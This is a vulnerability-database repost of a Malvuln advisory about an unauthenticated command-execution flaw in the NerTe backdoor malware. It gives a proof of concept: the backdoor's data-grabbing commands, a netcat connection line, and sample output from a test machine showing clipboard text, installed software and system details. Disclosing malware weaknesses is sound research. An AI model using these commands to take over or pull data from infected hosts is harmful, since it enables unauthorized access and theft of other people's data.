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Backdoor.Win32.NerTe.781 / Unauthenticated Remote Command Execution

CVE Category Price Severity
N/A CWE-264 N/A Critical
Author Risk Exploitation Type Date
Unknown High Remote 2021-07-04
CPE
cpe:cpe:/a:unknown:backdoor-win32-nerte-781-unauthenticated-remote-command-execution:1.0.0
CVSS EPSS EPSSP
CVSS:7.5/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070031

Below is a copy:

Backdoor.Win32.NerTe.781 / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/776e8bb41adf8bd95865c0b03637d8d7_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.781
Vulnerability: Unauthenticated Remote Command Execution 
Description: Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc.
Type: PE32
MD5: 776e8bb41adf8bd95865c0b03637d8d7
Vuln ID: MVID-2021-0265
Dropped files: nsrv78.exe
Disclosure: 07/03/2021

Exploit/PoC:
Example commands:

GETCLB (Get Clipboard data)
GETSND (Get sounds)
GETIN2 (Get Installed Software)
GETIN3
GETIN4
GETIN6

nc64.exe x.x.x.x  80

VERSIJ7.8.1noVictimDESKTOP-2C4IQHOGETCLB
GETCLB*************** Clipboard **************Tomorrow West 18th and broadway.*************** End **************GETSND
GETSNDC:\a\17.wavC:\a\18.wavC:\a\21.wavC:\a\22.wavC:\a\23.wavC:\a\24.wavC:\a\29.wavC:\a\30.wavC:\a\31.wavC:\a\32.wav

MSGUnknown commandGETIN2
GETIN2DESKTOP-2C4IQHOVictim7:56:40 PM1 Hour, 11 Minutes, 42 Seconds.1112814.17Unknown
GETIN4NTFSC:\Program Files (x86)\NerTeA2C9-AD2F8540578201612950585344512820,851,0213,161,764FixedCDC: []D: []
GETIN6HxD Hex Editor version 1.7.7.0NerTeWinPcap 4.1.3WinSCP 5.13Wireshark 2.4.5 64-bitMicrosoft Visual C++ 2010  x86 Redistributable - 10.0.30319Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148Python LauncherJava Auto UpdaterMicrosoft Visual C++ 2017
C:\Users\Victim\AppData\Local\Programs\Python\Python2\;C:\Users\Victim\AppData\Local\Microsoft\WindowsApps;;C:\Users\Victim\AppData\Local\Programs\Fiddler;C:\Program Files (x86)\Fiddler2\Fiddler0PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.


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